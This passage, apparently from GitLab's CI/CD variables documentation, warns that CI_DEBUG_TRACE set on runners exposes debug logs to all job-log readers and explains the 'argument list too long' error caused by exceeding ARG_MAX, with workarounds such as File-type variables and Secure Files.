.gitlab-ci.yml
file. - The CI/CD variables set in the GitLab UI.
CI_DEBUG_TRACE
as a local variable to runners, debug logs generate and are visible
to all users with access to job logs. The permission levels are not checked by the runner,
so you should only use the variable in GitLab itself.“argument list too long”
This issue occurs when the combined length of all CI/CD variables defined for a job exceeds the limit imposed by the
shell where the job executes. This includes the names and values of pre-defined and user defined variables. This limit
is typically referred to as ARG_MAX
, and is shell and operating system dependent. This issue also occurs when the
content of a single File-type variable exceeds ARG_MAX
.
For more information, see issue 392406.
As a workaround you can either:
- Use File-type CI/CD variables for large environment variables where possible.
- If a single large variable is larger than
ARG_MAX
, try using Secure Files, or bring the file to the job through some other mechanism.